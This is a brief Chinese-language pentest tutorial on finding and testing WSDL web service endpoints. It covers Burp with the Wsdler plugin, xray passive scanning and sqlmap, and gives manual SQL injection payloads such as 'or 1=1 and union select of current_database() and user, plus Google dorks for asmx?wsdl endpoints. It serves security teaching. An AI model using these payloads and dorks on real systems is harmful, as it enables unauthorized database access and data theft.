WSDL接口介绍
- WSDL(Web Services Description Language)即网络服务描述语言,用于描述Web服务的公共接口。这是一个基于XML的关于如何与Web服务通讯和使用的服务描述;也就是描述与目录中列出的Web服务进行交互时需要绑定的协议和信息格式。通常采用抽象语言描述该服务支持的操作和信息,使用的时候再将实际的网络协议和信息格式绑定给该服务。
WSDL接口管理页面特征
利用思路
Burp+Xray
- xray与Burp联动,进行被动扫描
xray.exe webscan --listen 127.0.0.1:7777 --html-output 1.html
Burp插件-Wsdler+sqlmap
- 插件下载:直接商城下载
- 访问
http://xxx.yyy.asmx?wsdl
,使用burp抓取数据包,右击选择使用WSDL插件
- 然后在Wsdler查看泄露接口
- 复制请求数据包为txt格式,用sqlmap测试
sqlmap.py -r 1.txt
Burp插件-Wsdler+手工测试(sql注入)
- 对尖括号里面能输入的地方进行修改发包
- 访问
http://xxx.yyy.asmx?wsdl
,使用burp抓取数据包,右击选择使用WSDL插件
- 在Wsdler查看泄露接口
- 将数据包发送到Repeater中,手动改包,然后重放
- 可以使用以下语句判断是否存在SQL注入
'or 1=1 --+
'or 1=2 --+
- 判断字段数
'or 1=1 order by 2--+
'or 1=1 order by 3--+
- 查询当前用户和数据库
' union select current_database(),user--
拓展
- 可以使用
google
语法搜索特定后缀去找webservice
地址,asmx
是webservice
服务程序的后缀名
site:xxx.com inurl:asmx?wsdl
site:xxx.com inurl:.php?wsdl
site:xxx.com inurl:.ashx?wsdl
- source:securepulse.website
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论